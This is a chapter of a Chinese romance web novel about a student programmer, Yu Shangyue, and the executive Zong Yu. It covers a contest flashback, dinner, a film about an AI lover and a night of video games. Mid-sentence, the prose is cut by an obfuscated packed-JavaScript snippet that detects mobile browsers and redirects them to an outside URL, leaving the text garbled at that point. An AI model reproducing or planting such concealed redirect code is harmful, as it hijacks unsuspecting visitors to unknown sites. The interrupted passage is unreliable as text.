所有人都以为,南大校友分享会上,是他们的初遇。 但其实,早在余上月认识他之前,他已经见过她。 11. 第十一个月亮 第十一章 宗俞出席那个比赛更像是个意外。 企业和学校合作的一个大学生编程大赛,选他当挂名总评委,一般这种活动都不需要本人出席,但刚好那天,他行程路过那边,比赛正好在进行。 宗俞国外读大学时离经叛道了一段时间,他有半年放弃本专业课程去选修了计算机,自己还设计了不少小程序,后来因被家里发现而中止,人生轨道拨乱反正。 在他们眼中这是不务正业,但宗俞本身对技术研究方面的东西都很感兴趣,如果有时间,他很乐意关注这方面的内容,包括公司最新扩宽的领域人工智能,也是在他力排众议下进行的。 宗俞在工作人员指引下低调入场落坐,他进去时,台上刚好是余上月那组在演示汇报,他们组四个人就她一个女生,穿着正式的西装,干净利落高马尾,在电脑前一边操作一边讲解。 投影幕布光源刺眼,映着她脸庞明亮洁白,漂亮动人,尤其是眼睛,他很难在一个人五官上同时看到精致和英气。 整场演示女生表现得都很落落大方,吐词清晰有力,操作也有条无紊,他们组做得那个软件也还不错,让人耳目一新,听说那场比赛最后他们拿了冠军。 这场比赛冠军得主会获得宗氏集团旗下科技公司实习的机会,同时,也会购买他们这次的编程成果。 比赛宗俞并没有看到最后,他时间有限,余上月他们组下去之后,另外的一组演示整体平平,宗俞看了眼手表,提前离开。 整个会场光线昏暗,只有台上投影仪是最大的光源,他的入场离开都几乎无人发现,原本的位置只剩下又空出来的座位。 电影放映到一半,阿姨就已经做好饭菜,叫他们用餐。 宗俞遵循着食不言寝不语的惯例,饭间保持安静,余上月早已习惯他这一习惯,认真进食,阿姨做得菜一贯合她胃口,余上月原本就饿了很久,此刻握着筷子堪称大快朵颐。 宗俞看着,忍不住皱眉,提醒她:“慢点吃。” “嗯嗯。” 她敷衍点头,手里动作不停,话语间又往嘴里塞了个鸡翅,手旁已经堆了小山一般的骨头。 “……”宗俞不明白她这副饿死鬼投胎样哪来的,不知道还以为他苛待了她,可明明进门时,她茶几上那一堆零食分量也不少。 余上月是他见过最能吃的一个女生。 以前不清楚,还以为是她家境贫困,生活费短缺,宗俞心疼之余只能每天带她吃点好的,最起码解决基本温饱。 后来才知道她家庭并不差,甚至还算富裕,能吃单纯是食量大,身体棒,运动量足,体检报告显示超出一般人标准,分外健康。 宗俞心是放下来了,但每天看她饿狼进食一般的用餐,还是偷偷咨询过医生:女生过了二十岁会不会还在青春发育期。 医生回答:可能单纯胃口好,能吃。 一桌菜余上月消灭大半,宗俞本身不是食欲很好的人,但和她一起每次都能吃下不少,阿姨来收拾碗筷时都忍不住捂嘴笑,在宗先生那里,可没有这么捧场的时候。 那部电影饭后依然把它看完了,主要是余上月在看,她怀里塞着抱枕,仰面注视着投影幕布,看得认真。 宗俞在她身旁抱着电脑办公,他有轻微近视,光线暗时鼻梁上架着一副无框眼镜,专注阅读回复着邮件。 两人互不打扰,就这样度过了小半夜晚。 电影结局让人唏嘘,男主角饰演的机器人陷入永久沉睡之中,新纪元一切都可以用科技手段实现,就连爱情也是,但恰恰爱情是缜密算法中唯一不可控因素,人工智能生出智慧,爱上了人类,人类也爱上了完美的机器伴侣。 纯白世界中,机器人意识逐渐消失沉睡,人类女孩回到他们共同居住的那栋房子中,无法忍受爱人消散,选择了自我意识消亡。 余上月抱膝坐在地毯上,久久不能回神。 “爱情真的值得让人放弃生命吗?”身旁突然传来宗俞话语,电影播放过程中,他抽空会看上几眼,包括最后结尾,手上敲击键盘的动作不知不觉停住。 “我不知道……”余上月回答。眼神中有几丝迷茫,女主角的选择同样让她震惊,但潜意识中,又似乎隐隐有了预感。 她被这个悲剧结局击中心脏,情绪短时间难以抽离。 “或许一个完美的伴侣会吧。” “现实中的人性注定无法让人拥有完美的爱情,但是虚拟世界会,一旦拥有过这种百分百灵魂契合的爱人,可能就无法再接受这个世界的残缺了吧。” “女主角应该就是这样,才会选择跟随他一起沉睡。” “从某种意义上也说,这或许也是另一种形式的happy ending。”余上月若有所悟惆怅低语。 宗俞不禁凝视她,他不清楚,二十出头的余上月,为什么会有这样的感悟。 他们认识至今将近大半年的时间,在这一刻,他似乎才隐约窥到了她一丝人格底色。 他有种手里的风筝要断线的模糊预感。 好在,余上月很快反应过来,朝他灿然一笑。 “好了宗总,时间不早我该回学校了。” “客房阿姨给你收拾好了。”宗俞镜片后眼睛盯着她,眸光深深。 “…………”余上月默了数秒,不死心挣扎:“我作业还没写完。” “让司机去帮你取。” “……那倒不必了。” “好吧。”他表示有点遗憾的表情。 “那我先去洗漱了。”余上月赶紧扔开怀里抱枕,逃离“战场”。 再聊下去,她就要露馅了! 和宗俞在一起就这点不好,随时随地要维持住人设,不过她露出的马脚估计已经一箩筐了。 余上月已经破罐破摔。 她落荒而逃,宗俞没阻止她,依然老神在在处理着公事,过去大半个小时,他看了眼腕表,估摸着时间差不多了,客卧那扇门悄悄拉开一条缝,余上月探出个脑袋。 “宗总,时间还早,我睡不着。要不,借你电竞房一用……?” 墙上挂钟才指向九点钟,完全没到余上月入睡时间,她在床上抓肝挠肺许久,还是禁不住开门出来了。 宗俞家中有一间占地面积分外可观的电竞房,非传统意义上两台电脑显示器的那种,而是一整个房间都是游戏装备。 满墙高清大屏幕,AR3d全息游戏机,市面上各种游戏手柄,最新装备的电脑、键盘、人体工学椅……以及靠墙两米宽的大沙发,完全就是电竞人的天堂。 余上月的游戏瘾是在高三的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417866|184713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被激发的,原本高强度的学业压力在接触到一款枪战游戏后彻底得到释放,于是每天翘掉晚上的补习班,和班里同学在网吧玩到天昏地暗。 就这样持续了一个多月,学习成绩竟然一点也没下降,只是人在这样精力高度挥霍下,早上上课越来越没精神,老师看到她黑眼圈实在不对劲,一查,才发现问题。 马上就叫了家长。 她妈妈来的学校,从班主任办公室出来后脸色难辨。母女两人回了家,经过心平气和的一番交涉,在家里给她装了套电脑,锁在小书房,每天只能玩一个小时,周六日双倍。 并且需要以成绩不下降为前提。 余上月同意了。 这件事是余思华女士私下同她达成的协议,周臻全程都不知道,高考结束,余上月整个暑假在小书房打游戏打得天昏地暗时,他才发觉异样,还在饭桌上提点她,不要天天对着电脑玩,有空多出去结交一下朋友。 余上月没搭理,在那个暑假拿到了全服一百强无敌战神的最高称号,同时以全市第三的名次,拿到了南大的录取通知书。 暑假一结束,她就奔赴大学,开启了多姿多彩的人生新模式。 刚开学的社团、联谊、学生会以及计算机专业的内容确实吸引了她很长一段时间,过去大半个学期,她某天和舍友聚完餐回来路过网吧,才有点游戏瘾,进去玩了几把,喜欢依然是喜欢的,却找不到当初那种没日没夜的激情,可能是她已经挣脱那段最压抑的时光,现在的生活比起游戏里的虚拟世界,似乎更加来的精彩有趣一点。 但不代表她完全不爱打游戏了。 有句话叫江山易改本性难移,刻在骨子里的东西只需要外力一催发,就开始肆意蔓延。 自从第一次来宗俞家发现他这个大电竞房之后,余上月就如同老鼠掉进了米缸,初次就在里面待了快一天一夜,还是宗俞出差回来发现,把双眼无神玩得天昏地暗的余上月从里头拖出来。 从此之后,他没在家,这间房永远是上锁的。 阿姨都有密码,她没有。 宗俞一手刚推开门,身后的余上月动作麻利溜进去,开主机调灯光打开大屏幕,一套动作下来行云流水,都不知道做过多少遍。 设备调试好后,戴上耳机抓起游戏手柄,美美窝进沙发开始沉浸式闯关。 宗俞坐在她旁边,同她一样的姿势,同样耳机手柄,两人玩的是同一款冒险闯关游戏,双人模式。 余上月极有游戏天赋,无论什么游戏一上手就能掌握得七七八八,宗俞同样不遑多让,谁也瞧不出来,公司里叱咤风云的大总裁,私下里会把自己关在房间里打游戏,还是款款都完美通关的那种。 两人配合堪称强强联手,从初始关卡到最后大boss,也不过花了大半小时,主线完美攻略,马上跳出下一个新副本。 谁也没有叫停,时间流逝被刻意忽视,余上月一开始还惴惴不安,生怕下一秒宗俞就赶她去睡觉,但直到睡意朦胧涌起,眼皮快要耷拉下来,也没听到他的声音。 画面里大boss终于倒地,余上月眼皮也彻底合上,这是两人今晚攻略的第六个游戏,她终于玩了个心满意足,完全昏睡过去之前,还不禁暗自腹诽—— 明天睁开眼不会看到太阳从西边出来吧。